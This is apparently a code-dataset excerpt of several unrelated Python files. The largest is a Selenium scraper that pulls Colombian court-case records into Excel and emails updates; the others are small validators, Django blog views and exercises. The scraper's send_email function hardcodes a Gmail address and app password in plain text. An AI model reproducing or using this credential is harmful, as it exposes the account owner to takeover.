inputElement6.send_keys(db_sheet.cell(row=Nproce,column=col_razon_social_demandante).value)\n \n else:\n \n inputElement4.select_by_visible_text(other_lists[0][2])\n inputElement5.select_by_visible_text(db_sheet.cell(row=Nproce,column=col_tipo_persona_demandado).value)\n inputElement6.send_keys(db_sheet.cell(row=Nproce,column=col_razon_social_demandado).value)\n \n \n inputElementX=browser.find_element_by_id(\"sliderBehaviorConsultaNom_railElement\")\n inputElementX.click()\n \n inputElement7=browser.find_element_by_id(\"btnConsultaNom\")\n inputElement7.click()\n\n try:\n WebDriverWait(browser, 3).until(EC.visibility_of_element_located((By.ID,'msjError')))\n \n btncerrar=browser.find_element_by_id('modalError').find_element_by_tag_name('input')\n btncerrar.click()\n inputElement6.clear()\n \n if tipo_sujeto_cliente==other_lists[0][1]:\n \n inputElement4.select_by_visible_text(other_lists[0][2])\n inputElement5.select_by_visible_text(db_sheet.cell(row=Nproce,column=col_tipo_persona_demandado).value)\n inputElement6.send_keys(db_sheet.cell(row=Nproce,column=col_razon_social_demandado).value)\n \n else:\n \n inputElement4.select_by_visible_text(other_lists[0][2])\n inputElement5.select_by_visible_text(db_sheet.cell(row=Nproce,column=col_tipo_persona_demandante).value)\n inputElement6.send_keys(db_sheet.cell(row=Nproce,column=col_razon_social_demandante).value)\n \n btn_nueva_consulta=browser.find_element_by_id('btnNuevaConsultaNom')\n btn_nueva_consulta.click()\n \n inputElementX=browser.find_element_by_id(\"sliderBehaviorConsultaNom_railElement\")\n inputElementX.click()\n \n inputElement7.click()\n\n except TimeoutException:\n pass\n \n try:\n WebDriverWait(browser, 3).until(EC.visibility_of_element_located((By.ID,'msjError')))\n btncerrar=browser.find_element_by_id('modalError').find_element_by_tag_name('input')\n btncerrar.click()\n print(\"La consulta No genero resultados, es decir, el proceso aun no esta en la web\")\n browser.get(\"https://procesos.ramajudicial.gov.co/procesoscs/ConsultaJusticias21.aspx?EntryId=Xsw4o2BqwzV1apD2i2r2orO8yTc%3d\")\n continue\n \n except TimeoutException:\n pass\n\n try:\n WebDriverWait(browser, timeout2).until(EC.visibility_of_element_located((By.ID,\"gvResultadosNum\")))\n except TimeoutException:\n print('Problemas al cargar los resultados de la consulta, proceso no asignado')\n browser.get(\"https://procesos.ramajudicial.gov.co/procesoscs/ConsultaJusticias21.aspx?EntryId=Xsw4o2BqwzV1apD2i2r2orO8yTc%3d\")\n continue\n \n \n #get the web element table in which the processes are contained\n tabla_procesos=browser.find_element_by_id('gvResultadosNum')\n #get all the tags of the table in which the data is contained\n campos_tabla_busqueda=tabla_procesos.find_elements_by_tag_name('td')\n\n #---------------------------Get all the elements on the web and send the values on the excel file (database)----------------------------#\n \n #---------------------------Assign a process number in the excel file----------------------------# \n \n #get the number of rows of the table\n cantidad_procesos=len(tabla_procesos.find_elements_by_tag_name('tr'))\n \n lista_numeros_procesos=[]\n lista_fechas_radicacion=[]\n \n #get all the \"Fechas de Radicacion\", step 7, because dates appear every 7 fields.\n for i in range (2,len(campos_tabla_busqueda),7):\n lista_fechas_radicacion.append(campos_tabla_busqueda[i].text)\n \n #get all the \"Numeros de procesos\" in the table\n for i in range (cantidad_procesos-1):\n #has to be minus 1 because the heading is included on the list\n try:\n numero_proceso='gvResultadosNum_lnkActuacionesnNum_'\n numero_proceso += str(i) \n lista_numeros_procesos.append(browser.find_element_by_id(numero_proceso).text)\n except (NoSuchElementException):\n print('Posiblemente hay 2 paginas de procesos - Esto aun esta en construccion')\n \n #get the \"fecha radicacion\" from the excel file (database) to compare the dates from the table\n fecha_radicacion=db_sheet.cell(row=Nproce,column=col_fecha_radicacion).value\n \n #assign the number process in the excel file\n if fecha_radicacion in lista_fechas_radicacion:\n if lista_fechas_radicacion.count(fecha_radicacion) >1:\n print('Hay mas de un proceso con la misma fecha, numero no asignado')\n else:\n db_sheet.cell(row=Nproce,column=col_radicado_completo).value= lista_numeros_procesos[lista_fechas_radicacion.index(fecha_radicacion)]\n wb_database.save('Database-Process.xlsx')\n print('Numero de Proceso Asignado - OK')\n create_excel_file (lista_numeros_procesos[lista_fechas_radicacion.index(fecha_radicacion)],flag_browser=0,flag_actuaciones=0,browser=0)\n browser.get(\"https://procesos.ramajudicial.gov.co/procesoscs/ConsultaJusticias21.aspx?EntryId=Xsw4o2BqwzV1apD2i2r2orO8yTc%3d\")\n else:\n print('Numero de Proceso no encontrado')\n print('DONE - SIN ERRORES - CESAR PUTO AMO')\n browser.quit()\n \n#---------------------------Find and Assign a process number in the excel file----------------------------#\n \ndef search_process(process_number_given):\n browser=get_the_web()\n wb_database=openpyxl.load_workbook('Database-Process.xlsx')\n db_sheet=wb_database['Hoja1']\n number_process_column=db_sheet['C']\n \n process_numbers=[]\n \n for cell in number_process_column:\n process_numbers.append(cell.value)\n \n fila_proceso=(process_numbers.index(process_number_given)+1)\n \n try: \n WebDriverWait(browser, timeout).until(EC.element_to_be_clickable((By.ID, \"ddlCiudad\"))) \n except TimeoutException:\n print(\"Problema web al seleccionar Ciudad - Excel no creado\")\n browser.quit()\n return\n \n dropdown_ciudad = Select(browser.find_element_by_id(\"ddlCiudad\"))\n dropdown_ciudad.select_by_visible_text(db_sheet.cell(row=fila_proceso,column=col_ciudad).value)\n \n try:\n WebDriverWait(browser, timeout).until(EC.visibility_of_element_located((By.XPATH, \"/html/body/form/div[2]/table/tbody/tr[2]/td/table/tbody/tr/td/div[2]/div/table/tbody/tr[3]/td[2]/select/option[2]\"))) \n except TimeoutException:\n print(\"Problema web al seleccionar la entidad - Excel no creado\")\n browser.quit()\n return \n \n time.sleep(3) #NUNCA BORRAR ESTE HP SLEEP\n \n dropdown1= Select(browser.find_element_by_id('ddlEntidadEspecialidad'))\n dropdown1.select_by_visible_text(db_sheet.cell(row=fila_proceso,column=col_entidad).value)\n \n inputRadicado = browser.find_element_by_id('divNumRadicacion').find_element_by_tag_name('input')\n inputRadicado.send_keys(process_number_given)\n \n try:\n WebDriverWait(browser, timeout).until(EC.element_to_be_clickable((By.ID, \"sliderBehaviorNumeroProceso_railElement\"))) \n except TimeoutException:\n print(\"Problema web al dar click en la barra para iniciar la consulta - Excel no creado\")\n browser.quit()\n return\n \n inputElement7=browser.find_element_by_id(\"sliderBehaviorNumeroProceso_railElement\")\n inputElement7.click()\n\n btnconsulta=browser.find_element_by_xpath('/html/body/form/div[2]/table/tbody/tr[2]/td/table/tbody/tr/td/div[3]/table/tbody/tr[4]/td/div[1]/table/tbody/tr[3]/td/input[1]')\n btnconsulta.click()\n \n try:\n WebDriverWait(browser, timeout2).until(EC.visibility_of_element_located((By.CLASS_NAME, \"ActuacionesDetalle\"))) \n except TimeoutException:\n print(\"Problema web al cargar tabla de informacion de Actuaciones - Excel no creado\")\n browser.quit()\n return\n\n return browser\n\ndef create_excel_file (process_number_given,flag_browser,flag_actuaciones,browser=0):\n global timeout\n global timeout2\n \n global col_radicado_ini\n global col_radicado_completo\n global col_fecha_radicacion\n global col_tipo_general_proceso\n global col_tipo_especifico_proceso\n global col_cuantia\n global col_instancia\n global col_responsable\n global col_apoderado\n global col_ciudad\n global col_entidad\n global col_jurisdiccion\n global col_tipo_sujeto_cliente\n global col_tipo_persona_demandante\n global col_razon_social_demandante\n global col_nit_demandate\n global col_tipo_persona_demandado\n global col_razon_social_demandado\n global col_nit_demandado\n global col_tipo_persona_tercero\n global col_razon_social_tercero\n global col_nit_tercero\n \n if flag_browser==0:\n browser=search_process(process_number_given)\n else:\n pass\n \n despacho=browser.find_element_by_id('lblJuzgadoActual').text\n ponente=browser.find_element_by_id('lblPonente').text\n tipo=browser.find_element_by_id('lblTipo').text\n clase=browser.find_element_by_id('lblClase').text\n recurso=browser.find_element_by_id('lblRecurso').text\n ubicacion=browser.find_element_by_id('lblUbicacion').text\n demandantes=browser.find_element_by_id('lblNomDemandante').text\n demandados=browser.find_element_by_id('lblNomDemandado').text\n contenido=browser.find_element_by_id('lblContenido').text\n \n \n lista_documentos=[]\n lista_descrip_documentos=[]\n \n try:\n browser.find_element_by_id('rptDocumentos_lbNombreDoc_0')\n tabla_documentos=browser.find_element_by_class_name('DocumentosDetalle')\n cantidad_documentos=tabla_documentos.find_elements_by_tag_name('tr')\n \n for i in range(len(cantidad_documentos)-1):\n nombre_documento='rptDocumentos_lbNombreDoc_'\n descripcion_documento='rptDocumentos_lblDescDoc_'\n \n nombre_documento += str(i)\n lista_documentos.append(browser.find_element_by_id(nombre_documento).text)\n descripcion_documento +=str(i)\n lista_descrip_documentos.append(browser.find_element_by_id(descripcion_documento).text)\n\n except NoSuchElementException:\n print('No hay documentos Asociados')\n \n\n tabla_detalle=browser.find_element_by_class_name('ActuacionesDetalle')\n cantidad_actuaciones=len(tabla_detalle.find_elements_by_tag_name('tr'))\n \n lista_fecha_actuaciones=[]\n lista_actuaciones=[]\n lista_anotaciones=[]\n lista_fecha_inicia=[]\n lista_fecha_termina=[]\n lista_fecha_registro=[]\n\n #we have to substract 1 , due to cantidad_actuaciones is including the header.\n for i in range(cantidad_actuaciones-1):\n \n fecha_actuacion='rptActuaciones_lblFechaActuacion_'\n actuacion='rptActuaciones_lblActuacion_'\n anotacion='rptActuaciones_lblAnotacion_'\n fecha_inicia='rptActuaciones_lblFechaInicio_'\n fecha_termina='rptActuaciones_lblFechaFin_'\n fecha_registro='rptActuaciones_lblFechaRegistro_'\n \n fecha_actuacion += str(i)\n lista_fecha_actuaciones.append(browser.find_element_by_id(fecha_actuacion).text)\n actuacion += str(i)\n lista_actuaciones.append(browser.find_element_by_id(actuacion).text)\n anotacion += str(i)\n lista_anotaciones.append(browser.find_element_by_id(anotacion).text)\n fecha_inicia += str(i)\n lista_fecha_inicia.append(browser.find_element_by_id(fecha_inicia).text)\n fecha_termina += str(i)\n lista_fecha_termina.append(browser.find_element_by_id(fecha_termina).text)\n fecha_registro += str(i)\n lista_fecha_registro.append(browser.find_element_by_id(fecha_registro).text)\n \n \n #Open Excel Workbook\n \n path='./Procesos/Formato_Base.xlsx'\n excel_name_sheet='Formato'\n wb=openpyxl.load_workbook(path)\n main_sheet=wb[excel_name_sheet]\n \n \n\n \n #fill data in workbook \n \n main_sheet['C4'].value=despacho\n main_sheet['Z4'].value=ponente\n main_sheet['C9'].value=tipo\n main_sheet['I9'].value=clase\n main_sheet['V9'].value=recurso\n main_sheet['AI9'].value=ubicacion\n main_sheet['C14'].value=demandantes\n main_sheet['Z14'].value=demandados\n main_sheet['C19'].value=contenido\n \n empty_row_doc=26\n \n if lista_documentos:\n \n style_source='C26'\n \n #merged=main_sheet.merged_cells.ranges\n #for i in merged:\n # i.shift(0,3) \n main_sheet.insert_rows(empty_row_doc+1, (len(lista_documentos)-1))\n \n \n for i in range(len(lista_documentos)):\n \n main_sheet.cell(row=(empty_row_doc+i),column=3).value=lista_documentos[i]\n main_sheet.cell(row=(empty_row_doc+i),column=26).value=lista_descrip_documentos[i]\n \n main_sheet.cell(row=(empty_row_doc+i), column=3)._style=deepcopy(main_sheet[style_source]._style)\n main_sheet.merge_cells(start_row=empty_row_doc+i, start_column=3, end_row=empty_row_doc+i, end_column=3+22)\n main_sheet.cell(row=(empty_row_doc+i), column=26)._style=deepcopy(main_sheet[style_source]._style)\n main_sheet.merge_cells(start_row=empty_row_doc+i, start_column=26, end_row=empty_row_doc+i, end_column=26+22) \n\n else:\n main_sheet.cell(row=(empty_row_doc),column=3).value=\"No hay Documentos Asociados\"\n alignment = Alignment(horizontal='center',vertical='bottom',text_rotation=0,wrap_text=False,shrink_to_fit=True,indent=0)\n \n \n main_sheet.merge_cells(start_row=empty_row_doc, start_column=3, end_row=empty_row_doc, end_column=3+45)\n main_sheet.cell(row=(empty_row_doc),column=3).alignment=alignment\n \n #define the row number, in which the title \"Actuaciones del proceso\" is contained\n if not lista_documentos:\n st_row=empty_row_doc+3+(len(lista_documentos))\n else:\n st_row=empty_row_doc+3+(len(lista_documentos)-1)\n \n \n main_sheet.merge_cells(start_row=st_row, start_column=3, end_row=st_row, end_column=3+45)\n main_sheet.merge_cells(start_row=st_row+1, start_column=3, end_row=st_row+1, end_column=3+3)\n main_sheet.merge_cells(start_row=st_row+1, start_column=7, end_row=st_row+1, end_column=7+3)\n main_sheet.merge_cells(start_row=st_row+1, start_column=11, end_row=st_row+1, end_column=11+25)\n main_sheet.merge_cells(start_row=st_row+1, start_column=37, end_row=st_row+1, end_column=37+3)\n main_sheet.merge_cells(start_row=st_row+1, start_column=41, end_row=st_row+1, end_column=41+3)\n main_sheet.merge_cells(start_row=st_row+1, start_column=45, end_row=st_row+1, end_column=45+3)\n \n #Open DB_ Actuaciones to record all data about actuaciones\n wb_db_actuaciones=openpyxl.load_workbook('Database-Actuaciones.xlsx')\n actuaciones_sheet=wb_db_actuaciones['Actuaciones']\n \n \n empty_row_actuaciones=1\n while (actuaciones_sheet.cell(row = empty_row_actuaciones, column = 1).value != None) :\n empty_row_actuaciones += 1\n \n\n #define the row number, in which the algorithm will start writing the \"actuaciones\"\n empty_row=st_row+2\n #Define the cell to copy the style\n style_source='C'+str(empty_row)\n \n \n \n for i in range (len(lista_fecha_actuaciones)):\n \n if flag_actuaciones==0:\n actuaciones_sheet.cell(row=(empty_row_actuaciones+i),column=col_id_actuacion).value=empty_row_actuaciones+i\n actuaciones_sheet.cell(row=(empty_row_actuaciones+i),column=col_numero_proceso).value=process_number_given\n actuaciones_sheet.cell(row=(empty_row_actuaciones+i),column=col_fecha_actuacion).value=lista_fecha_actuaciones[i]\n actuaciones_sheet.cell(row=(empty_row_actuaciones+i),column=col_actuacion).value=lista_actuaciones[i]\n actuaciones_sheet.cell(row=(empty_row_actuaciones+i),column=col_anotacion).value=lista_anotaciones[i]\n actuaciones_sheet.cell(row=(empty_row_actuaciones+i),column=col_fecha_ini_termino).value=lista_fecha_inicia[i]\n actuaciones_sheet.cell(row=(empty_row_actuaciones+i),column=col_fecha_fin_termino).value=lista_fecha_termina[i]\n actuaciones_sheet.cell(row=(empty_row_actuaciones+i),column=col_fecha_registro).value=lista_fecha_registro[i]\n actuaciones_sheet.cell(row=(empty_row_actuaciones+i),column=col_estado).value=estado_choices[0]\n else:\n pass\n\n main_sheet.cell(row=(empty_row+i),column=3).value=lista_fecha_actuaciones[i]\n main_sheet.cell(row=(empty_row+i),column=7).value=lista_actuaciones[i]\n main_sheet.cell(row=(empty_row+i),column=11).value=lista_anotaciones[i]\n main_sheet.cell(row=(empty_row+i),column=37).value=lista_fecha_inicia[i]\n main_sheet.cell(row=(empty_row+i),column=41).value=lista_fecha_termina[i]\n main_sheet.cell(row=(empty_row+i),column=45).value=lista_fecha_registro[i]\n\n main_sheet.row_dimensions[empty_row+i].height = 33\n \n main_sheet.cell(row=(empty_row+i), column=3)._style=deepcopy(main_sheet[style_source]._style)\n main_sheet.merge_cells(start_row=empty_row+i, start_column=3, end_row=empty_row+i, end_column=3+3)\n main_sheet.cell(row=(empty_row+i), column=7)._style=deepcopy(main_sheet[style_source]._style)\n main_sheet.merge_cells(start_row=empty_row+i, start_column=7, end_row=empty_row+i, end_column=7+3)\n main_sheet.cell(row=(empty_row+i), column=11)._style=deepcopy(main_sheet[style_source]._style)\n main_sheet.merge_cells(start_row=empty_row+i, start_column=11, end_row=empty_row+i, end_column=11+25)\n main_sheet.cell(row=(empty_row+i), column=37)._style=deepcopy(main_sheet[style_source]._style)\n main_sheet.merge_cells(start_row=empty_row+i, start_column=37, end_row=empty_row+i, end_column=37+3)\n main_sheet.cell(row=(empty_row+i), column=41)._style=deepcopy(main_sheet[style_source]._style)\n main_sheet.merge_cells(start_row=empty_row+i, start_column=41, end_row=empty_row+i, end_column=41+3)\n main_sheet.cell(row=(empty_row+i), column=45)._style=deepcopy(main_sheet[style_source]._style)\n main_sheet.merge_cells(start_row=empty_row+i, start_column=45, end_row=empty_row+i, end_column=45+3)\n \n \n rd = main_sheet.row_dimensions[st_row] # get dimension for row 3\n rd.height = 18 # value in points, there is no \"auto\"\n \n rd = main_sheet.row_dimensions[st_row+1]\n rd.height = 27\n \n if flag_browser==0:\n browser.quit()\n else:\n pass\n new_path=\"./Procesos/\" + process_number_given + '.xlsx'\n wb.save(new_path) \n wb_db_actuaciones.save('Database-Actuaciones.xlsx')\n print('Excel creado exitosamente - OK')\n print('Actuaciones guardadas en la BD - OK')\n\n\n\n \ndef encontrar_actuaciones():\n \n wb_database=openpyxl.load_workbook('Database-Process.xlsx')\n db_sheet=wb_database['Hoja1']\n \n wb_db_actuaciones=openpyxl.load_workbook('Database-Actuaciones.xlsx')\n actuaciones_sheet=wb_db_actuaciones['Actuaciones']\n \n \n lista_procesos_excel=[]\n\n for cell in db_sheet['C']:\n if cell.value !=None:\n lista_procesos_excel.append(cell.value)\n \n lista_proceso_actuaciones_excel=[]\n \n for cell in actuaciones_sheet['B']:\n lista_proceso_actuaciones_excel.append(cell.value)\n \n \n for i in range (1,len(lista_procesos_excel)):\n try:\n browser=search_process(lista_procesos_excel[i])\n except:\n browser.quit()\n print('Error se continuara buscando el siguiente proceso')\n continue\n \n fila_radicado_ini=i+1\n radicado_ini=db_sheet.cell(row=fila_radicado_ini, column=col_radicado_ini).value\n tabla_detalle=browser.find_element_by_class_name('ActuacionesDetalle')\n \n #we have to substract 1 , due to cantidad_actuaciones is including the header.\n cantidad_actuaciones_web=len(tabla_detalle.find_elements_by_tag_name('tr'))-1\n cant_actuaciones_excel=lista_proceso_actuaciones_excel.count(lista_procesos_excel[i])\n\n if cantidad_actuaciones_web>cant_actuaciones_excel:\n create_excel_file(lista_procesos_excel[i],flag_browser=1,flag_actuaciones=1,browser=browser)\n cant_nuevas_actuaciones=cantidad_actuaciones_web-cant_actuaciones_excel\n \n #lista_fecha_actuaciones=[]\n lista_actuaciones_nuevas=[]\n #lista_anotaciones=[]\n #lista_fecha_inicia=[]\n lista_fecha_termina_nuevas=[]\n #lista_fecha_registro=[]\n\n empty_row_actuaciones=1\n while (actuaciones_sheet.cell(row = empty_row_actuaciones, column = 1).value != None) :\n empty_row_actuaciones += 1\n print(empty_row_actuaciones)\n \n #we have to substract 1 , due to cantidad_actuaciones is including the header.\n for j in range(cant_nuevas_actuaciones):\n\n fecha_actuacion='rptActuaciones_lblFechaActuacion_'\n actuacion='rptActuaciones_lblActuacion_'\n anotacion='rptActuaciones_lblAnotacion_'\n fecha_inicia='rptActuaciones_lblFechaInicio_'\n fecha_termina='rptActuaciones_lblFechaFin_'\n fecha_registro='rptActuaciones_lblFechaRegistro_'\n \n fecha_actuacion += str(j)\n #lista_fecha_actuaciones.append(browser.find_element_by_id(fecha_actuacion).text)\n actuacion += str(j)\n lista_actuaciones_nuevas.append(browser.find_element_by_id(actuacion).text)\n anotacion += str(j)\n #lista_anotaciones.append(browser.find_element_by_id(anotacion).text)\n fecha_inicia += str(j)\n #lista_fecha_inicia.append(browser.find_element_by_id(fecha_inicia).text)\n fecha_termina += str(j)\n lista_fecha_termina_nuevas.append(browser.find_element_by_id(fecha_termina).text)\n fecha_registro += str(j)\n #lista_fecha_registro.append(browser.find_element_by_id(fecha_registro).text)\n \n actuaciones_sheet.cell(row=(empty_row_actuaciones+j),column=col_id_actuacion).value=(empty_row_actuaciones+j-1)\n actuaciones_sheet.cell(row=(empty_row_actuaciones+j),column=col_numero_proceso).value=lista_procesos_excel[i]\n actuaciones_sheet.cell(row=(empty_row_actuaciones+j),column=col_radicado_ini_act).value=radicado_ini\n actuaciones_sheet.cell(row=(empty_row_actuaciones+j),column=col_fecha_actuacion).value=browser.find_element_by_id(fecha_actuacion).text\n actuaciones_sheet.cell(row=(empty_row_actuaciones+j),column=col_actuacion).value=browser.find_element_by_id(actuacion).text\n actuaciones_sheet.cell(row=(empty_row_actuaciones+j),column=col_anotacion).value=browser.find_element_by_id(anotacion).text\n actuaciones_sheet.cell(row=(empty_row_actuaciones+j),column=col_fecha_ini_termino).value=browser.find_element_by_id(fecha_inicia).text\n actuaciones_sheet.cell(row=(empty_row_actuaciones+j),column=col_fecha_fin_termino).value=browser.find_element_by_id(fecha_termina).text\n actuaciones_sheet.cell(row=(empty_row_actuaciones+j),column=col_fecha_registro).value=browser.find_element_by_id(fecha_registro).text\n actuaciones_sheet.cell(row=(empty_row_actuaciones+j),column=col_estado).value=estado_choices[0]\n \n \n browser.quit()\n send_email('cinconotificaciones@gmail.com',lista_procesos_excel[i],lista_actuaciones_nuevas,lista_fecha_termina_nuevas)\n print('Emails Enviado')\n wb_db_actuaciones.save('Database-Actuaciones.xlsx')\n print('Proceso ' + lista_procesos_excel[i] +' Actualizado')\n \n else:\n browser.quit()\n pass\n print('Proceso Finalizado')\n\ndef send_email(receiver,radicado_ini,lista_actuaciones_nuevas,lista_fechafin_nuevas):\n\n EMAIL_ADDRESS='cinconotificaciones@gmail.com'\n EMAIL_PASSWORD='tydavhmndyxluhbe'\n \n msg = EmailMessage()\n msg['Subject'] = 'Actualizacion Proceso ' + radicado_ini + \" // \" + str(datetime.today().strftime('%d-%m-%Y'))\n msg['From'] = EMAIL_ADDRESS\n msg['To'] = receiver\n\n\n initial_html=\"\"\"\\\n \n \n \n \n \n \n

Nueva Actuacion

\n

Se informa que el proceso: \"\"\"+radicado_ini+\"\"\" tiene las siguientes actualizaciones.

\n \n \n \n \n \"\"\"\n \n for i in range (len(lista_actuaciones_nuevas)):\n initial_html+=\"\"\"\n \n \n \"\"\"\n\n final_html=\"\"\"
Actuacion\n Fecha Fin de Termino\n
\"\"\"+lista_actuaciones_nuevas[i]+\"\"\"\"\"\"+lista_fechafin_nuevas[i]+\"\"\"
\n

Favor actualizar la informacion de la actuacion

\n

Cinco Consultores

\n \n \"\"\"\n \n total_html=initial_html+final_html\n\n msg.add_alternative(total_html, subtype='html')\n\n with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp:\n smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD)\n smtp.send_message(msg)","sub_path":"webscraping.py","file_name":"webscraping.py","file_ext":"py","file_size_in_byte":33741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"653945418","text":"import re\nimport sys\n\ndef validate_phone_number(number):\n expression1 = (\n \"[0]?(77|98|55|99|91)[\\ -]?\"\n \"(([0-9]{3}[\\ -]?[0-9]{3})\"\n \"|([0-9]{2}[\\ ][0-9]{2}[\\ ][0-9]{2})\"\n \"|([0-9]{2}[-][0-9]{2}[-][0-9]{2}))\"\n )\n\n if re.fullmatch(expression1, number):\n return True\n return False\n\ndef validate_email(email):\n expression2 = (\n \"[A-Za-z0-9_.+]+\"\n \"[@]\"\n \"[A-Za-z0-9._+]+\"\n \"[.]\"\n \"[A-Za-z0-9._+]+\"\n )\n\n if re.fullmatch(expression2, email):\n return True\n return False\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 2:\n print(\"Type one of the following commands.\\nemail\\nphone_number\")\n else:\n command = sys.argv[1]\n if len(sys.argv) > 2:\n command1 = sys.argv[2]\n if command == \"email\":\n if validate_email(command1):\n print(\"Yes\")\n else:\n print(\"No\")\n elif command == \"phone_number\":\n if validate_phone_number(command1):\n print(\"Yes\")\n else:\n print(\"No\")\n else:\n print(\"No such command.\")\n else:\n print(\"No value passed.\")\n","sub_path":"homework_7/validator.py","file_name":"validator.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"244358770","text":"import json\n\n\nfrom configuration.man_v3_woman_v4_size_configuration_prod import *\nfrom util_log import *\n\n\n# 日志获取\nlogger = get_logger(LOG_FILE_PATH,\"size-predict-log-2\")\n\n# 脚楦数据获取与处理函数定义\n# 脚数据解析\ndef foot_parase(data):\n foot_result = dict()\n try:\n data = json.loads(data)\n for foot_attr in data:\n if foot_attr != \"sex\":\n foot_result[foot_attr+\"_left\"] = data[foot_attr][\"left\"]\n foot_result[foot_attr + \"_right\"] = data[foot_attr][\"right\"]\n return (data[\"sex\"],foot_result)\n except Exception as e:\n logger.info(str(e))\n\n# 单个脚与多个楦连接\ndef foot_connect_last(foot,last_list):\n foot_last_list = list()\n for last in last_list:\n foot_last_list.append(dict(foot, **last))\n return foot_last_list\n\n# 按指定顺序获取舒适度模型计算所需要的数据和用户信息\n# get left right data together for size data_compute\n# return [[size,leftright]]\ndef get_etl_data_left_right_together(data):\n left_right_datas = list()\n for left_right_data in data:\n left_right = list()\n size = left_right_data['basicsize']\n for field in FOOT_LAST_ORDER_DIMENSIONS_DIM6:\n left_right.append(left_right_data[field])\n left_right_datas.append([size,left_right])\n return left_right_datas\n","sub_path":"compute_etl_func.py","file_name":"compute_etl_func.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"295973254","text":"from django.shortcuts import render,redirect\nfrom django.views.generic import TemplateView,CreateView,ListView,View\nfrom .forms import BlogForm, CommentForm\nfrom .models import Blog, BlogComment\nfrom django.template.loader import get_template\n# Create your views here.\n\nclass DashBoard(CreateView):\n '''Creating the dasdboard for the blog '''\n def get(self,request):\n #fetching the blog form written in forms\n print(\"get\")\n template_name = \"blog_upload.html\"\n form=BlogForm()\n context={\n 'form':form,\n }\n return render(request,template_name,context)\n def post(self,request):\n #\n template_name = \"blog_upload.html\"\n form=BlogForm(request.POST, request.FILES)\n if form.is_valid():\n print(\"valid\")\n form.save()\n return redirect('/all-blogs/')\n else:\n print(form.errors)\n print(\"invalid\")\n context={\n 'form':form,\n }\n return render(request,template_name,context)\n\n\nclass AllBlogView(ListView):\n model = Blog\n def get(self,request):\n template_name = \"all_blog.html\"\n blogs=Blog.objects.all() #returns all the blogs from blog models\n return render(request,template_name,{'blogs':blogs})\n\nclass SingleBlogView(CreateView):\n def get(self,request,pk):\n\n blog=Blog.objects.get(pk=pk)\n #fetching the blog form written in forms\n template_name = \"single_blog.html\"\n form=CommentForm()\n comments=BlogComment.objects.filter(blog=blog)\n context={\n 'form':form,\n 'blog':blog,\n 'comments':comments\n }\n return render(request,template_name,context)\n\n def post(self,request,pk):\n #\n blog=Blog.objects.get(pk=pk)\n template_name = \"single_blog.html\"\n form=CommentForm(request.POST)\n if form.is_valid():\n print(\"valid\")\n first_name=form.cleaned_data['first_name']\n last_name=form.cleaned_data['last_name']\n email=form.cleaned_data['email_id']\n comment=form.cleaned_data['comment']\n comments,create=BlogComment.objects.get_or_create(blog=blog,first_name=first_name,\n last_name=last_name,email_id=email,comment=comment)\n comments=BlogComment.objects.filter(blog=blog)\n form=CommentForm()\n context={\n 'form':form,\n 'blog':blog,\n 'comments':comments\n }\n return render(request,template_name,context)\n\n else:\n print(form.errors)\n print(\"invalid\")\n comments=BlogComment.objects.filter(blog=blog)\n context={\n 'form':form,\n 'blog':blog,\n 'comments':comments\n }\n return render(request,template_name,context)\n","sub_path":"Blog/web_blog/webapp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"156779312","text":"from django.conf.urls import url\n\nfrom .views import Movies, ViewMovies, UpdateMovie, MovieDetail, MovieSearch\n\nurlpatterns = [\n url(r'^$', Movies.as_view(), name=\"movies\"),\n url(r'^(?P[0-9]+)/$', UpdateMovie.as_view()),\n url(r'^(?P[0-9]+)/view/$', MovieDetail.as_view()),\n url(r'^list/$', ViewMovies.as_view(), name=\"movies\"),\n url(r'^search/$', MovieSearch.as_view()),\n]","sub_path":"movies/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"179699862","text":"a: int = 1\nb: int = 2\nc: str = '1'\nd: str = '2'\ne = 1\n\ndef add(x: int, y: int) -> int:\n return x + y\n\nif __name__ == '__main__':\n print(add(a, b))\n print(add(c, d))\n e = '1'","sub_path":"script/script_test/mypy_test.py","file_name":"mypy_test.py","file_ext":"py","file_size_in_byte":185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"275008232","text":"class Person(object):\r\n sum = 0\r\n def wwork(self):\r\n print('waaa')\r\n # def __init__(self, name, gender):\r\n # self.name = name\r\n # self.gender = gender\r\n\r\n\r\nclass Student(Person):\r\n def work(self):\r\n print('aaa')\r\n\r\n # def __init__(self, name, gender, score):\r\n # super(Student, self).__init__(name, gender)\r\n # self.score = score\r\n \r\ns = Student()\r\ns.sum=1\r\nprint(s.sum)\r\ns.work()\r\ns.wwork()","sub_path":"c2.py","file_name":"c2.py","file_ext":"py","file_size_in_byte":452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"502466585","text":"# leetcode - https://leetcode.com/problems/word-ladder\nclass Solution:\n def ladderLength(self, beginWord: str, endWord: str, wordList: List[str]) -> int:\n if endWord not in wordList or not endWord or not beginWord or not wordList:\n return 0\n L=len(beginWord)\n all_combo_dict=defaultdict(list)\n for word in wordList:\n for i in range(L):\n all_combo_dict[word[:i]+\"*\"+word[i+1:]].append(word)\n queue=collections.deque([(beginWord,1)])\n visited={beginWord:True}\n while queue:\n cur,level=queue.popleft()\n for i in range(L):\n intermediate=cur[:i]+\"*\"+cur[i+1:]\n for word in all_combo_dict[intermediate]:\n if word == endWord:\n return level+1\n if word not in visited:\n visited[word]=True\n queue.append((word,level+1))\n all_combo_dict[intermediate]=[]\n return 0\n","sub_path":"leetcode/wordLadder.py","file_name":"wordLadder.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"278797228","text":"# Importing relevant modules\nfrom tkinter import *\nimport matplotlib.pyplot as plt\nfrom 